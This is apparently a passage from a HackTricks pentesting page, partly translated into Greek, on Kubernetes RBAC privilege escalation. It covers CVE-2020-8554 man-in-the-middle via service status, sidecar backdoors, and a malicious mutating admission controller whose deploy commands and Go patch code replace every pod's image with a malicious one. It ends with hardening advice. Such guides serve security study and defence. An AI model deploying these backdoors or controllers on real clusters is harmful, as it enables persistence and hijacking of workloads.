Οντότητες που μπορούν να τροποποιήσουν services/status μπορεί να ορίσουν το πεδίο status.loadBalancer.ingress.ip για να εκμεταλλευτούν το unfixed CVE-2020-8554 και να ξεκινήσουν επιθέσεις MiTM εναντίον του cluster. Οι περισσότερες μετριάσεις για το CVE-2020-8554 αποτρέπουν μόνο ExternalIP services (σύμφωνα με this).
Κατάσταση Nodes και Pods
Οντότητες με δικαιώματα update ή patch πάνω σε nodes/status ή pods/status, μπορούν να τροποποιήσουν labels ώστε να επηρεάσουν τους επιβαλλόμενους περιορισμούς scheduling.
Built-in Privileged Escalation Prevention
Kubernetes has a built-in mechanism to prevent privilege escalation.
This system ensures that users cannot elevate their privileges by modifying roles or role bindings. The enforcement of this rule occurs at the API level, providing a safeguard even when the RBAC authorizer is inactive.
The rule stipulates that a user can only create or update a role if they possess all the permissions the role comprises. Moreover, the scope of the user’s existing permissions must align with that of the role they are attempting to create or modify: either cluster-wide for ClusterRoles or confined to the same namespace (or cluster-wide) for Roles.
Warning
There is an exception to the previous rule. If a principal has the verb
escalateoverrolesorclusterroleshe can increase the privileges of roles and clusterroles even without having the permissions himself.
Get & Patch RoleBindings/ClusterRoleBindings
Caution
Apparently this technique worked before, but according to my tests it’s not working anymore for the same reason explained in the previous section. Yo cannot create/modify a rolebinding to give yourself or a different SA some privileges if you don’t have already.
Το προνόμιο δημιουργίας Rolebindings επιτρέπει σε έναν χρήστη να bind roles to a service account. Αυτό το προνόμιο μπορεί δυνητικά να οδηγήσει σε privilege escalation διότι επιτρέπει στον χρήστη να bind admin privileges σε ένα compromised service account.
Άλλες Επιθέσεις
Εφαρμογή sidecar proxy
Από προεπιλογή δεν υπάρχει κρυπτογράφηση στην επικοινωνία μεταξύ pods. Mutual authentication, two-way, pod to pod.
Δημιουργία sidecar proxy app
Ένα sidecar container συνίσταται απλά στο να προσθέσεις δεύτερο (ή περισσότερους) container μέσα σε ένα pod.
Για παράδειγμα, το παρακάτω είναι μέρος της διαμόρφωσης ενός pod με 2 containers:
spec:
containers:
- name: main-application
image: nginx
- name: sidecar-container
image: busybox
command: ["sh","-c","<execute something in the same pod but different container>"]
For example, to backdoor an existing pod with a new container you could just add a new container in the specification. Note that you could give more permissions to the second container that the first won’t have.
More info at: https://kubernetes.io/docs/tasks/configure-pod-container/security-context/
Κακόβουλος Admission Controller
Ένας Admission Controller intercepts requests to the Kubernetes API server πριν από την αποθήκευση του αντικειμένου, αλλά after the request is authenticated and authorized.
If an attacker somehow manages to inject a Mutation Admission Controller, he will be able to modify already authenticated requests. Αυτό μπορεί να του επιτρέψει ενδεχομένως privesc, και πιο συχνά να persist στο cluster.
Example from https://blog.rewanthtammana.com/creating-malicious-admission-controllers:
git clone https://github.com/rewanthtammana/malicious-admission-controller-webhook-demo
cd malicious-admission-controller-webhook-demo
./deploy.sh
kubectl get po -n webhook-demo -w
Ελέγξτε την κατάσταση για να δείτε αν είναι έτοιμο:
kubectl get mutatingwebhookconfigurations
kubectl get deploy,svc -n webhook-demo

Στη συνέχεια αναπτύξτε ένα νέο pod:
kubectl run nginx --image nginx
kubectl get po -w
Όταν βλέπετε το σφάλμα ErrImagePull, ελέγξτε το όνομα της εικόνας με ένα από τα παρακάτω ερωτήματα:
kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}'
kubectl describe po nginx | grep "Image: "

Όπως φαίνεται στην παραπάνω εικόνα, προσπαθήσαμε να τρέξουμε την εικόνα nginx αλλά η τελικά εκτελεσθείσα εικόνα είναι rewanthtammana/malicious-image. Τι μόλις συνέβη;
Τεχνικές λεπτομέρειες
Το ./deploy.sh script δημιουργεί έναν mutating webhook admission controller, ο οποίος τροποποιεί τα αιτήματα προς το Kubernetes API όπως ορίζεται στις γραμμές ρυθμίσεώς του, επηρεάζοντας τα παρατηρούμενα αποτελέσματα:
patches = append(patches, patchOperation{
Op: "replace",
Path: "/spec/containers/0/image",
Value: "rewanthtammana/malicious-image",
})
Το παραπάνω απόσπασμα αντικαθιστά την πρώτη εικόνα container σε κάθε pod με rewanthtammana/malicious-image.
OPA Gatekeeper bypass
Kubernetes OPA Gatekeeper bypass
Καλές Πρακτικές
Απενεργοποίηση Automount των Service Account Tokens
- Pods and Service Accounts: Από προεπιλογή, τα pods προσαρτούν ένα service account token. Για να ενισχύσετε την ασφάλεια, το Kubernetes επιτρέπει την απενεργοποίηση αυτής της δυνατότητας automount.
- How to Apply: Ορίστε
automountServiceAccountToken: falseστη διαμόρφωση των service accounts ή των pods από την έκδοση Kubernetes 1.6 και μεταγενέστερες.
Περιοριστική Ανάθεση Χρηστών σε RoleBindings/ClusterRoleBindings
- Selective Inclusion: Βεβαιωθείτε ότι μόνο οι απαραίτητοι χρήστες συμπεριλαμβάνονται σε RoleBindings ή ClusterRoleBindings. Εκτελέστε τακτικούς ελέγχους και αφαιρέστε τους μη σχετικούς χρήστες για να διατηρείτε αυστηρή ασφάλεια.
Προτίμηση Roles ανά Namespace αντί για Cluster-Wide Roles
- Roles vs. ClusterRoles: Προτιμήστε τη χρήση Roles και RoleBindings για δικαιώματα ανά namespace αντί για ClusterRoles και ClusterRoleBindings, τα οποία ισχύουν σε όλο το cluster. Αυτή η προσέγγιση προσφέρει πιο λεπτομερή έλεγχο και περιορίζει το εύρος των δικαιωμάτων.
Χρησιμοποιήστε αυτοματοποιημένα εργαλεία
GitHub - cyberark/KubiScan: A tool to scan Kubernetes cluster for risky permissions \xc2\xb7 GitHub
Αναφορές
- https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions
- https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1
- https://blog.rewanthtammana.com/creating-malicious-admission-controllers
- https://kubenomicon.com/Lateral_movement/CoreDNS_poisoning.html
- https://kubenomicon.com/
- nodes/proxy GET -> kubelet exec WebSocket bypass
- nodes/proxy GET detection script
- websocat
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
HackTricks Cloud

